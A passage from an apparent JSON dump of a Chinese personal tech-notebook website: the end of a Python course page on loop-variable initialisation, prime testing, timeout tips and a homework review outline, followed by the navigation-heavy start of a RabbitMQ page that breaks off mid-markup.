t）是多个矩阵，内层循环（row和col）用来遍历矩阵</p>\n<p>那问题来了，内层循环的cnt作用在单个矩阵里面，不同矩阵之间不能相互干扰，也就是说cnt应该在进入row循环之前初始化！把cnt=0移动到第9行之前即可</p>\n<p>再打个比方，我们要计算多个班级分别的平均分，需要对班级内的每个学生累加到sum_score，那你就需要在 进入这个班级的循环后 对班级内每个学生遍历的循环前 对sum_score 进行初始化 sum_score=0；如果你提早做了，上个班级的总分就会加入到下个班级，不合适吧</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nv\">n</span><span class=\"o\">=</span><span class=\"nv\">int</span><span class=\"ss\">(</span><span class=\"nv\">input</span><span class=\"ss\">())</span>\n<span class=\"nv\">data</span><span class=\"o\">=</span>[<span class=\"nv\">int</span><span class=\"ss\">(</span><span class=\"nv\">input</span><span class=\"ss\">())</span><span class=\"w\"> </span><span class=\"k\">for</span><span class=\"w\"> </span><span class=\"nv\">i</span><span class=\"w\"> </span><span class=\"nv\">in</span><span class=\"w\"> </span><span class=\"nv\">range</span><span class=\"ss\">(</span><span class=\"nv\">n</span><span class=\"ss\">)</span>]\n<span class=\"nv\">a</span><span class=\"o\">=</span><span class=\"mi\">2</span>\n<span class=\"k\">for</span><span class=\"w\"> </span><span class=\"nv\">i</span><span class=\"w\"> </span><span class=\"nv\">in</span><span class=\"w\"> </span><span class=\"nv\">data</span>:\n<span class=\"w\">    </span><span class=\"k\">while</span><span class=\"w\"> </span><span class=\"nv\">a</span><span class=\"o\">&lt;</span><span class=\"nv\">i</span>:\n<span class=\"w\">        </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"nv\">i</span><span class=\"o\">%</span><span class=\"nv\">a</span><span class=\"o\">==</span><span class=\"mi\">0</span>:\n<span class=\"w\">            </span><span class=\"nv\">print</span><span class=\"ss\">(</span><span class=\"s1\">&#39;No&#39;</span><span class=\"ss\">)</span>\n<span class=\"w\">            </span><span class=\"k\">break</span>\n<span class=\"w\">        </span><span class=\"nv\">a</span><span class=\"o\">=</span><span class=\"nv\">a</span><span class=\"o\">+</span><span class=\"mi\">1</span>\n<span class=\"w\">    </span><span class=\"k\">else</span>:\n<span class=\"w\">        </span><span class=\"nv\">print</span><span class=\"ss\">(</span><span class=\"s1\">&#39;Yes&#39;</span><span class=\"ss\">)</span>\n</code></pre></div>\n\n<p>这是另一个例子，判断素数，每个素数的判断应该是独立的，需要把a=2移动到<code>for i in data:</code>循环开始之后 <code>while a&lt;i</code>循环开始之前</p>\n<p>简而言之：哪个循环负责这个变量，就在这个循环之前做初始化，保证外层循环互不干扰</p>\n<h2 id=\"_29\">填空题别出现中文引号<a class=\"headerlink\" href=\"#_29\" title=\"Permanent link\">&para;</a></h2>\n<p>别以为别的题目文本里出现了中文引号你就能用，题目不严谨不代表你能不严谨</p>\n<h2 id=\"_30\">怎么正确地判断素数<a class=\"headerlink\" href=\"#_30\" title=\"Permanent link\">&para;</a></h2>\n<p>如果你还不会，建议背下来标准答案：只要遇到需要判断素数的题目，先默写这个isPrime函数</p>\n<p>记忆口诀：1不是，2是，从2到(根号n) + 1</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">import</span> <span class=\"nn\">math</span>\n<span class=\"k\">def</span> <span class=\"nf\">isPrime</span><span class=\"p\">(</span><span class=\"n\">n</span><span class=\"p\">):</span>\n    <span class=\"k\">if</span> <span class=\"n\">n</span><span class=\"o\">==</span><span class=\"mi\">1</span><span class=\"p\">:</span>\n        <span class=\"k\">return</span> <span class=\"kc\">False</span>\n    <span class=\"k\">if</span> <span class=\"n\">n</span> <span class=\"o\">==</span> <span class=\"mi\">2</span><span class=\"p\">:</span>\n        <span class=\"k\">return</span> <span class=\"kc\">True</span>\n    <span class=\"k\">for</span> <span class=\"n\">i</span> <span class=\"ow\">in</span> <span class=\"nb\">range</span><span class=\"p\">(</span><span class=\"mi\">2</span><span class=\"p\">,</span> <span class=\"nb\">int</span><span class=\"p\">(</span><span class=\"n\">math</span><span class=\"o\">.</span><span class=\"n\">sqrt</span><span class=\"p\">(</span><span class=\"n\">n</span><span class=\"p\">)</span><span class=\"o\">+</span><span class=\"mi\">1</span><span class=\"p\">)):</span>\n        <span class=\"k\">if</span> <span class=\"n\">n</span><span class=\"o\">%</span><span class=\"n\">i</span><span class=\"o\">==</span><span class=\"mi\">0</span><span class=\"p\">:</span>\n            <span class=\"k\">return</span> <span class=\"kc\">False</span>\n    <span class=\"k\">return</span> <span class=\"kc\">True</span>\n</code></pre></div>\n\n<p>不要把素数判断的代码和其他代码混在一起，求求你写个函数吧！ 写了函数之后你可以自己调用函数去测试啊，如图所示，我写了之后就会自己构造一些数据去测试。 <strong>测试  测试 测试</strong></p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"o\">&gt;&gt;&gt;</span> <span class=\"kn\">import</span> <span class=\"nn\">math</span>\n<span class=\"o\">&gt;&gt;&gt;</span> <span class=\"k\">def</span> <span class=\"nf\">isPrime</span><span class=\"p\">(</span><span class=\"n\">n</span><span class=\"p\">):</span>\n<span class=\"o\">...</span>     <span class=\"k\">if</span> <span class=\"n\">n</span><span class=\"o\">==</span><span class=\"mi\">1</span><span class=\"p\">:</span>\n<span class=\"o\">...</span>         <span class=\"k\">return</span> <span class=\"kc\">False</span>\n<span class=\"o\">...</span>     <span class=\"k\">if</span> <span class=\"n\">n</span> <span class=\"o\">==</span> <span class=\"mi\">2</span><span class=\"p\">:</span>\n<span class=\"o\">...</span>         <span class=\"k\">return</span> <span class=\"kc\">True</span>\n<span class=\"o\">...</span>     <span class=\"k\">for</span> <span class=\"n\">i</span> <span class=\"ow\">in</span> <span class=\"nb\">range</span><span class=\"p\">(</span><span class=\"mi\">2</span><span class=\"p\">,</span> <span class=\"nb\">int</span><span class=\"p\">(</span><span class=\"n\">math</span><span class=\"o\">.</span><span class=\"n\">sqrt</span><span class=\"p\">(</span><span class=\"n\">n</span><span class=\"p\">)</span><span class=\"o\">+</span><span class=\"mi\">1</span><span class=\"p\">)):</span>\n<span class=\"o\">...</span>         <span class=\"k\">if</span> <span class=\"n\">n</span><span class=\"o\">%</span><span class=\"n\">i</span><span class=\"o\">==</span><span class=\"mi\">0</span><span class=\"p\">:</span>\n<span class=\"o\">...</span>             <span class=\"k\">return</span> <span class=\"kc\">False</span>\n<span class=\"o\">...</span>     <span class=\"k\">return</span> <span class=\"kc\">True</span>\n<span class=\"o\">...</span>\n<span class=\"o\">&gt;&gt;&gt;</span> <span class=\"n\">isPrime</span><span class=\"p\">(</span><span class=\"mi\">1</span><span class=\"p\">)</span>\n<span class=\"kc\">False</span>\n<span class=\"o\">&gt;&gt;&gt;</span> <span class=\"n\">isPrime</span><span class=\"p\">(</span><span class=\"mi\">2</span><span class=\"p\">)</span>\n<span class=\"kc\">True</span>\n<span class=\"o\">&gt;&gt;&gt;</span> <span class=\"n\">isPrime</span><span class=\"p\">(</span><span class=\"mi\">3</span><span class=\"p\">)</span>\n<span class=\"kc\">True</span>\n<span class=\"o\">&gt;&gt;&gt;</span> <span class=\"n\">isPrime</span><span class=\"p\">(</span><span class=\"mi\">4</span><span class=\"p\">)</span>\n<span class=\"kc\">False</span>\n<span class=\"o\">&gt;&gt;&gt;</span> <span class=\"n\">isPrime</span><span class=\"p\">(</span><span class=\"mi\">5</span><span class=\"p\">)</span>\n<span class=\"kc\">True</span>\n<span class=\"o\">&gt;&gt;&gt;</span> <span class=\"n\">isPrime</span><span class=\"p\">(</span><span class=\"mi\">6</span><span class=\"p\">)</span>\n<span class=\"kc\">False</span>\n<span class=\"o\">&gt;&gt;&gt;</span> <span class=\"n\">isPrime</span><span class=\"p\">(</span><span class=\"mi\">101</span><span class=\"p\">)</span>\n<span class=\"kc\">True</span>\n<span class=\"o\">&gt;&gt;&gt;</span> <span class=\"n\">isPrime</span><span class=\"p\">(</span><span class=\"mi\">100</span><span class=\"p\">)</span>\n<span class=\"kc\">False</span>\n</code></pre></div>\n\n<h2 id=\"_31\">运行超时怎么破？<a class=\"headerlink\" href=\"#_31\" title=\"Permanent link\">&para;</a></h2>\n<h3 id=\"_32\">记住判断素数可以开根号啊！<a class=\"headerlink\" href=\"#_32\" title=\"Permanent link\">&para;</a></h3>\n<p>不要从2到n-1，根号n就行了</p>\n<h3 id=\"_33\">题目给的上界一定会有测试点<a class=\"headerlink\" href=\"#_33\" title=\"Permanent link\">&para;</a></h3>\n<p>验证哥德巴赫猜想一题 </p>\n<p>题目说 输入在一行中给出一个(2, 2 000 000 000]范围内的偶数N。</p>\n<p>哇 好多0，数一数这是20亿啊，放一个这么大的上界在这里干啥啊？只是好看嘛？</p>\n<p>肯定是有一个测试点会输入这个20亿，你自己本地测试你的代码就一定要试试</p>\n<p>然后就发现你的程序好久没反应，就应该优化了</p>\n<h3 id=\"_34\">想想怎么简化计算<a class=\"headerlink\" href=\"#_34\" title=\"Permanent link\">&para;</a></h3>\n<p>还是哥德巴赫猜想这个题目，你觉得需要求出小于N的所有素数嘛？然后在这个素数数组里求求和？</p>\n<p>当然这个方法没错，只是太慢了，要求出20亿以内的所有素数，这个太贵了（太耗时了，时间就是金钱啊）</p>\n<p>我们的目标只是给出一个N=p+q就行，只要从2开始找素数p，然后验证N-p也是素数即可</p>\n<h2 id=\"python-homework-review\">Python Homework Review<a class=\"headerlink\" href=\"#python-homework-review\" title=\"Permanent link\">&para;</a></h2>\n<p><a href=\"/assets/pdf/Python HW Review.pdf\">PDF下载</a></p>\n<p>提纲：</p>\n<ul>\n<li>Python和C语言不同的地方</li>\n<li>程序输出啥？把自己当成Python解释器 写草稿</li>\n<li>局部变量 函数里被赋值了的就是局部变量</li>\n<li>对齐 {0:T^20} 用T补齐20位 居中</li>\n</ul>\n<p>编程题考试技巧：</p>\n<ul>\n<li>一步步写，写一点就侧一点</li>\n<li>内置函数熟练掌握 如sum</li>\n<li>注意空格 不要浪费时间在格式错误上</li>\n<li>仔细读题 一遍不行多读几遍</li>\n<li>看看上界（一般用不着）</li>\n<li>提取出函数，降低思维负担</li>\n<li>递归函数怎么写？想清楚 参数 返回值 的含义</li>\n<li>实在搞不定？别放弃，骗分！</li>\n</ul>\n<p>需要记住点啥？</p>\n<ul>\n<li>类型：input()返回的是字符串，用int, float转换；用isinstance判断类型；哪些是False</li>\n<li>数字：除以0的异常，进制转换，判断素数，格式化输出，优先级</li>\n<li>字符串：len，upper，lower，strip，split，join</li>\n<li>列表：append，index，sorted(key=lambda i:-i)，数组的数组，分片，<code>[::-1]</code>，列表推导式</li>\n<li>字典：keys，items，update</li>\n<li>循环：range，for i in &hellip;，while &hellip;，变量初始化</li>\n<li>函数：传递一个列表？（引用传递）局部变量，全局变量</li>\n<li>tuple；set；文件；类</li>\n</ul>\n\n\n\n\n\n                \n              </article>\n            </div>\n          \n          \n        </div>\n        \n      </main>\n      \n        <footer class=\"md-footer\">\n  \n  <div class=\"md-footer-meta md-typeset\">\n    <div class=\"md-footer-meta__inner md-grid\">\n      <div class=\"md-copyright\">\n  \n    <div class=\"md-copyright__highlight\">\n      <a href=https://beian.miit.gov.cn/>浙ICP备15043819号-2</a>&nbsp;&nbsp;<a target=_blank href=http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=33010602007826><img src=\"/assets/images/beian.png\" height=14px>浙公网安备 33010602007826号</p></a>\n    </div>\n  \n  \n    Made with\n    <a href=\"https://squidfunk.github.io/mkdocs-material/\" target=\"_blank\" rel=\"noopener\">\n      Material for MkDocs\n    </a>\n  \n</div>\n      \n    </div>\n  </div>\n</footer>\n      \n    </div>\n    <div class=\"md-dialog\" data-md-component=\"dialog\">\n      <div class=\"md-dialog__inner md-typeset\"></div>\n    </div>\n    \n    <script id=\"__config\" type=\"application/json\">{\"base\": \"..\", \"features\": [], \"search\": \"../assets/javascripts/workers/search.208ed371.min.js\", \"translations\": {\"clipboard.copied\": \"Copied to clipboard\", \"clipboard.copy\": \"Copy to clipboard\", \"search.result.more.one\": \"1 more on this page\", \"search.result.more.other\": \"# more on this page\", \"search.result.none\": \"No matching documents\", \"search.result.one\": \"1 matching document\", \"search.result.other\": \"# matching documents\", \"search.result.placeholder\": \"Type to start searching\", \"search.result.term.missing\": \"Missing\", \"select.version\": \"Select version\"}}</script>\n    \n    \n      <script src=\"../assets/javascripts/bundle.efa0ade1.min.js\"></script>\n      \n        <script src=\"../assets/js/instantclick.min.js\"></script>\n      \n        <script src=\"../assets/js/index.js\"></script>\n      \n    \n  </body>\n</html>"
  },
  {
    "path": "docs/RabbitMQ/index.html",
    "content": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n  <head>\n    \n      <meta charset=\"utf-8\">\n      <meta name=\"viewport\" content=\"width=device-width,initial-scale=1\">\n      \n        <meta name=\"description\" content=\"我的技术笔记本~\">\n      \n      \n        <meta name=\"author\" content=\"chenyuan\">\n      \n      \n      \n        <link rel=\"prev\" href=\"../Nginx/\">\n      \n      \n        <link rel=\"next\" href=\"../Developer/\">\n      \n      <link rel=\"icon\" href=\"../assets/images/favicon.png\">\n      <meta name=\"generator\" content=\"mkdocs-1.4.2, mkdocs-material-9.1.3\">\n    \n    \n      \n        <title>RabbitMQ - notebook</title>\n      \n    \n    \n      <link rel=\"stylesheet\" href=\"../assets/stylesheets/main.c4a75a56.min.css\">\n      \n        \n        <link rel=\"stylesheet\" href=\"../assets/stylesheets/palette.a0c5b2b5.min.css\">\n      \n      \n\n    \n    \n    \n      \n        \n        \n        <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin>\n        <link rel=\"stylesheet\" href=\"/assets/css/fonts.css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback\">\n        <style>:root{--md-text-font:\"Roboto\";--md-code-font:\"Roboto Mono\"}</style>\n      \n    \n    \n    <script>__md_scope=new URL(\"..\",location),__md_hash=e=>[...e].reduce((e,_)=>(e<<5)-e+_.charCodeAt(0),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+\".\"+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+\".\"+e,JSON.stringify(_))}catch(e){}}</script>\n    \n      \n\n    \n    \n    \n  </head>\n  \n  \n    \n    \n    \n    \n    \n    <body dir=\"ltr\" data-md-color-scheme=\"default\" data-md-color-primary=\"\" data-md-color-accent=\"\">\n  \n    \n    \n    <input class=\"md-toggle\" data-md-toggle=\"drawer\" type=\"checkbox\" id=\"__drawer\" autocomplete=\"off\">\n    <input class=\"md-toggle\" data-md-toggle=\"search\" type=\"checkbox\" id=\"__search\" autocomplete=\"off\">\n    <label class=\"md-overlay\" for=\"__drawer\"></label>\n    <div data-md-component=\"skip\">\n      \n        \n        <a href=\"#rabbitmq\" class=\"md-skip\">\n          Skip to content\n        </a>\n      \n    </div>\n    <div data-md-component=\"announce\">\n      \n    </div>\n    \n    \n      \n\n  \n\n<header class=\"md-header md-header--shadow\" data-md-component=\"header\">\n  <nav class=\"md-header__inner md-grid\" aria-label=\"Header\">\n    <a href=\"..\" title=\"notebook\" class=\"md-header__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    <label class=\"md-header__button md-icon\" for=\"__drawer\">\n      <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M3 6h18v2H3V6m0 5h18v2H3v-2m0 5h18v2H3v-2Z\"/></svg>\n    </label>\n    <div class=\"md-header__title\" data-md-component=\"header-title\">\n      <div class=\"md-header__ellipsis\">\n        <div class=\"md-header__topic\">\n          <span class=\"md-ellipsis\">\n            notebook\n          </span>\n        </div>\n        <div class=\"md-header__topic\" data-md-component=\"header-topic\">\n          <span class=\"md-ellipsis\">\n            \n              RabbitMQ\n            \n          </span>\n        </div>\n      </div>\n    </div>\n    \n    \n    \n      <label class=\"md-header__button md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n      </label>\n      <div class=\"md-search\" data-md-component=\"search\" role=\"dialog\">\n  <label class=\"md-search__overlay\" for=\"__search\"></label>\n  <div class=\"md-search__inner\" role=\"search\">\n    <form class=\"md-search__form\" name=\"search\">\n      <input type=\"text\" class=\"md-search__input\" name=\"query\" aria-label=\"Search\" placeholder=\"Search\" autocapitalize=\"off\" autocorrect=\"off\" autocomplete=\"off\" spellcheck=\"false\" data-md-component=\"search-query\" required>\n      <label class=\"md-search__icon md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11h12Z\"/></svg>\n      </label>\n      <nav class=\"md-search__options\" aria-label=\"Search\">\n        \n        <button type=\"reset\" class=\"md-search__icon md-icon\" title=\"Clear\" aria-label=\"Clear\" tabindex=\"-1\">\n          <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12 19 6.41Z\"/></svg>\n        </button>\n      </nav>\n      \n    </form>\n    <div class=\"md-search__output\">\n      <div class=\"md-search__scrollwrap\" data-md-scrollfix>\n        <div class=\"md-search-result\" data-md-component=\"search-result\">\n          <div class=\"md-search-result__meta\">\n            Initializing search\n          </div>\n          <ol class=\"md-search-result__list\" role=\"presentation\"></ol>\n        </div>\n      </div>\n    </div>\n  </div>\n</div>\n    \n    \n      <div class=\"md-header__source\">\n        <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n      </div>\n    \n  </nav>\n  \n</header>\n    \n    <div class=\"md-container\" data-md-component=\"container\">\n      \n      \n        \n          \n        \n      \n      <main class=\"md-main\" data-md-component=\"main\">\n        <div class=\"md-main__inner md-grid\">\n          \n            \n              \n              <div class=\"md-sidebar md-sidebar--primary\" data-md-component=\"sidebar\" data-md-type=\"navigation\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n\n<nav class=\"md-nav md-nav--primary\" aria-label=\"Navigation\" data-md-level=\"0\">\n  <label class=\"md-nav__title\" for=\"__drawer\">\n    <a href=\"..\" title=\"notebook\" class=\"md-nav__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    notebook\n  </label>\n  \n    <div class=\"md-nav__source\">\n      <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n    </div>\n  \n  <ul class=\"md-nav__list\" data-md-scrollfix>\n    \n      \n      \n      \n\n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"..\" class=\"md-nav__link\">\n        Home\n      </a>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_2\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_2\" id=\"__nav_2_label\" tabindex=\"0\">\n          Python\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_2_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_2\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Python\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Python/\" class=\"md-nav__link\">\n        Python\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../gist/\" class=\"md-nav__link\">\n        Gist Python一些常用代码片段\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PythonCourse/\" class=\"md-nav__link\">\n        Course Python程序设计\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3\" id=\"__nav_3_label\" tabindex=\"0\">\n          Programming Languages\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Programming Languages\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BASH/\" class=\"md-nav__link\">\n        BASH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BAT/\" class=\"md-nav__link\">\n        BAT批处理\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../C/\" class=\"md-nav__link\">\n        C语言\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3_4\" id=\"__nav_3_4_label\" tabindex=\"0\">\n          Java\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_3_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Java\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Java/\" class=\"md-nav__link\">\n        Java\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../S2-045/\" class=\"md-nav__link\">\n        S2-045\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../JavaScript/\" class=\"md-nav__link\">\n        JavaScript\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PHP/\" class=\"md-nav__link\">\n        PHP\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n    \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--active md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4\" checked>\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4\" id=\"__nav_4_label\" tabindex=\"0\">\n          Web\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_4_label\" aria-expanded=\"true\">\n        <label class=\"md-nav__title\" for=\"__nav_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Web\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../CDN/\" class=\"md-nav__link\">\n        CDN\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../cURL/\" class=\"md-nav__link\">\n        cURL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4_3\" id=\"__nav_4_3_label\" tabindex=\"0\">\n          Favorites\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_4_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Favorites\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Favorites/\" class=\"md-nav__link\">\n        Favorites\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../GithubProjectRecommendation/\" class=\"md-nav__link\">\n        Github Project Recommendation\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Links/\" class=\"md-nav__link\">\n        更多链接\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Flask/\" class=\"md-nav__link\">\n        Flask\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../MySQL/\" 